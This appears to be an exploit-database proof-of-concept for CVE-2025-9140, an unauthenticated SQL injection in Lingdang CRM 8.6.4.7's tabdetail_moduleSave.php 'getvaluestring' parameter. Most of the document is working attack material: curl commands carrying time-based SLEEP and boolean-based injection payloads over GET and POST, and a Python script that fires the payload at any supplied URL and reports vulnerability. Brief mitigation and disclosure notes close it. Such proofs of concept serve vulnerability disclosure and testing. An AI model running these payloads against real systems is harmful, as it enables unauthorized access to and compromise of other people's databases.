Lingdang CRM 8.6.4.7 – SQL Injection

# Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection
# Google Dork: N/A
# Date: 2025-08-19
# Exploit Author: Beatriz Fresno Naumova
# Vendor: Shanghai Lingdang Information Technology)
# Software Link: (N/A – commercial product)
# Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory)
# Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency)
# CVE : CVE-2025-9140

# Summary
# The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the
# 'getvaluestring' parameter. An unauthenticated remote attacker can perform boolean/time-based
# blind SQL injection. Vendor states this was fixed by adopting parameterized queries in v8.6.5+.

# Route
#   /crm/crmapi/erp/tabdetail_moduleSave.php
# Parameter
#   getvaluestring (GET or POST)

# Notes
# * This PoC does NOT target a live site. Replace TARGET with a lab host you own.
# * Demonstrates time-based blind (SLEEP) and boolean-based payloads.

# --- Quick PoC with curl (time-based blind) ---
# Expect ~5s response delay on vulnerable targets.

# GET variant:
curl -i -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring='||(SELECT SLEEP(5))--+-"

# POST variant:
curl -i -k -X POST "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php" 
  --data "getvaluestring='||(SELECT SLEEP(5))--+-"

# --- Boolean-based example (response/body differences may vary by deployment) ---
curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=1-- -" -o /tmp/true.html
curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=2-- -" -o /tmp/false.html
# Compare /tmp/true.html vs /tmp/false.html for observable differences.

# --- Python 3 PoC (time-based) ---
# Save as lingdang_sqli_poc.py and run:  python3 lingdang_sqli_poc.py http://TARGET

import sys, time, requests

def test_time_sqli(base):
    url_get = f"{base.rstrip('/')}/crm/crmapi/erp/tabdetail_moduleSave.php"
    payload = "'||(SELECT SLEEP(5))--+-"
    try:
        t0 = time.time()
        r = requests.get(url_get, params={"getvaluestring": payload}, timeout=30, verify=False)
        dt = time.time() - t0
        print(f"[+] GET status={r.status_code} elapsed={dt:.2f}s")
        if dt >= 5:
            print("[+] Likely vulnerable to time-based SQLi via GET.")
        else:
            print("[-] No significant delay observed via GET.")
    except Exception as e:
        print(f"[!] GET error: {e}")

    try:
        t0 = time.time()
        r = requests.post(url_get, data={"getvaluestring": payload}, timeout=30, verify=False)
        dt = time.time() - t0
        print(f"[+] POST status={r.status_code} elapsed={dt:.2f}s")
        if dt >= 5:
            print("[+] Likely vulnerable to time-based SQLi via POST.")
        else:
            print("[-] No significant delay observed via POST.")
    except Exception as e:
        print(f"[!] POST error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} http://TARGET")
        sys.exit(1)
    requests.packages.urllib3.disable_warnings()
    test_time_sqli(sys.argv[1])

# --- Impact ---
# Confidentiality, integrity, availability compromise via SQL injection (CWE-89).

# --- Mitigations ---
# 1) Use parameterized queries / prepared statements for getvaluestring.
# 2) Server-side input validation and allow-listing for the parameter.
# 3) Web Application Firewall (WAF) rules to block SQLi patterns on this route.

# --- Disclosure ---
# Public identifiers: CVE-2025-9140 (VulDB VDB-320520).
# Vendor reportedly fixed in 8.6.5+ with parameterized queries.